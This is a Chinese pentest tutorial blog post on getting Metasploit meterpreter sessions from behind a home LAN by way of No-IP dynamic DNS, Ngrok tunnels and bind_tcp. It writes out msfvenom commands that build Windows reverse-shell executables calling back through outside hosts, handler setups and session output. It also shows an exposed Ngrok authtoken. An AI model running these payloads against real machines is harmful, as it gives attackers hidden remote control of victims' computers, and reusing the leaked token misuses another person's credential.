Metasploit内网使用三种方法

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF


0x01 前言

一些新手朋友在使用Metasploit进行安全测试时可能经常遇到自己没有公网IP,又没有VPS的尴尬情况,如果遇到这种情况时我们又该如何在本地内网环境中使用Metasploit对其目标进行测试呢?在这篇文章中笔者将给大家介绍3种常用方法,再也不怕没有公网IP和VPS


0x02 No-ip动态域名

使用msfvenom命令生成载荷文件时需要填写我们监听的公网IP地址和端口号,但由于我们是动态IP,每次生成载荷文件时都需要填写不同的公网IP,个人感觉这样很是麻烦,所以这时就可以用No-ip提供的动态域名解析服务结合路由器的端口映射功能来解决这个问题。


No-ip(https://www.noip.com)是一个非常流行的动态域名解析服务,就是将ISP分配给我们的动态公网IP绑定到No-ip提供的免费域名上,每次重启后只需在No-ip客户端更新下就可以了,客户端支持Mac、Linux和Windows平台。


首先我们得先在No-ip官网进行注册,登录No-ip后创建个免费域名,下载并安装好No-ip客户端,设置好自动更新间隔时间,等一会msf8.ddns.net域名就已经解析过来了。

Metasploit内网使用三种方法


下载No-ip客户端源码并进行编译安装:

[email protected]:~# cd /usr/local/src/[email protected]:~# wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz[email protected]:~# tar xf noip-duc-linux.tar.gz[email protected]:~# cd noip-2.1.9-1/[email protected]:~# make[email protected]:~# sudo make install[email protected]:~# sudo /usr/local/bin/noip2          //启动No-ip客户端[email protected]:~# sudo /usr/local/bin/noip2 -C       //重新配置一次[email protected]:~# sudo /usr/local/bin/noip2 -S       //显示当前运行状态、信息

安装过程中主要填写以下几项:

Please enter the login/email string for no-ip.com  msf8@gmail.com(输入注册时填的邮箱地址)Please enter the password for user '[email protected]'  *******(输入密码)Please enter an update interval:[30](noip客户端检查路由器外部网址变化间隔,默认30分钟)Do you wish to run something at successful update?[N] (y/N)  n(直接按回车即可)
Metasploit内网使用三种方法

Metasploit内网使用三种方法

[email protected]:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=msf8.ddns.net LPORT=443 -f exe > /root/noip.exemsf > use exploit/multi/handlermsf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf exploit(multi/handler) > set lhost 192.168.1.120msf exploit(multi/handler) > set lport 443msf exploit(multi/handler) > exploit[*] Started reverse TCP handler on 192.168.1.120:443 [*] Starting the payload handler...[*] Sending stage (1189423 bytes) to 192.168.1.120[*] Meterpreter session 1 opened (192.168.1.120:443 -> 192.168.1.108:49199) at 2017-04-01 02:01:16 +0800


注:这种方法在以前家庭网络中做渗透测试时经常用到的,但现在运营商提供的宽带服务,无论是动态IP还是固定IP,默认都禁止了所有端口对外服务,所以现在路由器里配置的端口映射和DMZ功能都已经失效了,也就是说这种方法可能已不再适用,如果申请开通端口还需要进行域名备案,麻烦!


运营商这样做的目的就是为了防止个人随意开设各种非法服务,也能够防止黑客通过扫描器进行的批量扫描和抓鸡等攻击行为。这样封禁能在一定程度上保证了我们的网络安全,比如说17年爆出的MS17010永恒之蓝漏洞,445端口被运营商封禁了,这样就使得国内个人家庭电脑被攻击的机率小了很多。


引用来源:

http://kekefund.com/2018/06/24/lanproxy/


0x03 Ngrok内网穿透

渗透测试中经常会用到Metasploit工具,现在大家使用的基本都是无线路由器,处于内网环境,所以无法直接使用内网IP来进行监听,这时就可以用Ngrok内网穿透方式来实现内网环境也能用Metasploit来进行渗透测试,也可以用来绕过一些防火墙限制。


Ngrok(https://www.ngrok.com)是一个非常流行的反向代理服务,可进行内网穿透,支持TCP、HTTP、HTTPS协议,客户端支持Mac,Linux和Windows平台,而且还是开源项目,有能力的可以自己去搭建,国内提供Ngrok服务的平台有:NATAPP、Sunny-Ngrok。

Metasploit内网使用三种方法


首先我们得先在Ngrok官网进行注册,登录到Ngrok平台并查看Authtoken密钥,然后下载Ngrok客户端并执行

./ngrok authtoken uAL229nfa2UNRvZVCNpD_4nNBMeMYX6WU81ajNAGvB

Metasploit内网使用三种方法

Metasploit内网使用三种方法


Ngrok客户端填入我们需要转发的TCP协议和443端口,在本地执行:./ngrok tcp 443。

EXAMPLES:    ngrok http 80                    # secure public URL for port 80 web server    ngrok http -subdomain=baz 8080   # port 8080 available at baz.ngrok.io    ngrok http foo.dev:80            # tunnel to host:port instead of localhost    ngrok tcp 22                     # tunnel arbitrary TCP traffic to port 22    ngrok tls -hostname=foo.com 443  # TLS traffic for foo.com to port 443    ngrok start foo bar baz          # start tunnels from the configuration file
Metasploit内网使用三种方法
[email protected]:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=15925 -f exe > /root/ngrok.exe
msf > use exploit/multi/handlermsf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf exploit(multi/handler) > set lhost 192.168.1.120msf exploit(multi/handler) > set lport 443msf exploit(multi/handler) > exploit[*] Started reverse TCP handler on 192.168.1.120:443 [*] Starting the payload handler...[*] Sending stage (1189423 bytes) to 192.168.1.120[*] Meterpreter session 1 opened (192.168.1.120:443 -> 192.168.1.120:57440) at 2017-04-01 02:01:16 +0800


这里是将我们内网攻击机192.168.1.120:443转发到Ngrok的1*9.*8.1*0.*3:15925,所以最终“受害机”是与Ngrok进行了通信,并没有直接与我们的攻击机进行通信,但攻击机与Ngrok进行通信了。这样虽然能够有效隐藏攻击机真实IP地址,但在Ngrok的服务器上还是有详细日志记录的,所以还是不要想着利用此方法做“坏事”!

  • 攻击机与Ngrok:192.168.1.120:443 -> free.idcfengye.com:15925(1*9.*8.1*0.*3)

  • 受害机与Ngrok:TCP  192.168.1.4:26446  1*9.*8.1*0.*3:15925  ESTABLISHED  21120


注:类似Ngrok的FRP是一个可用于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS协议,客户端也支持Mac、Linux和Windows平台。没有公网IP的解决办法还有很多,如:花生壳、Ngrok、FRP、Lanproxy等,有兴趣的可以自己去尝试搭建一个。

  • FRP:https://github.com/fatedier/frp/releases

  • Ngrok:https://github.com/bubenshchykov/ngrok

  • Lanproxy:https://github.com/ffay/lanproxy


ngrok iis6 Bad Request (Invalid Hostname):

如果将主机标头值分配给IIS中默认网站的“所有未分配的Internet协议(IP)”地址,则可能会出现这样的问题。参考以下链接:ngrok http 80 -host-header="localhost:80"

https://support.microsoft.com/en-us/help/842693/you-receive-a-http-400---bad-request-error-message-when-you-try-to-use


0x04 Bind_tcp正向连接

使用bind_tcp正向连接进行监听时无需在路由器做端口映射,因为我们是主动去连接目标服务器的,而且在特定环境下能绕过部分防火墙、WAF以及防病毒软件,只要目标服务器能通外网就OK!


Reverse TCP:

  • reverse_tcp反向连接:就是攻击者开启一个端口,等待远程目标连接。

The reverse TCP handler is provided by the Msf::Handler::ReverseTcp class. It will listen on a port for incoming connections and will make a call into handle connection with the client sockets as they do.
Bind TCP:
  • bind_tcp正向连接):就是远程目标开启一个端口,等待攻击者连接。

The bind TCP handler is provided through Msf::Handler::BindTcp. It will attempt to establish a connection to a target machine on a given port (specified in LPORT). If a connection is established, a call is made into handle connection passing along the socket associated with the connection.

Metasploit内网使用三种方法

[email protected]:~# msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=443 -f exe > /root/bind.exemsf > use exploit/multi/handlermsf exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcpmsf exploit(multi/handler) > set rhost 192.168.1.108msf exploit(multi/handler) > set lport 443msf exploit(multi/handler) > exploit[*] Started bind handler[*] Sending stage (205891 bytes) to 192.168.1.108[*] Meterpreter session 1 opened (192.168.1.120:35185 -> 192.168.1.108:443) at 2017-04-02 01:26:39 +0800

【推荐书籍】

文章总结




希望对大家有所帮助Metasploit内网使用三种方法Metasploit内网使用三种方法

Metasploit内网使用三种方法

走过路过的大佬们留个关注再走呗Metasploit内网使用三种方法

Metasploit内网使用三种方法

Metasploit内网使用三种方法  如果对你有所帮助,点个分享、赞、在看呗!Metasploit内网使用三种方法

本文始发于微信公众号(渗透Xiao白帽):Metasploit内网使用三种方法

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: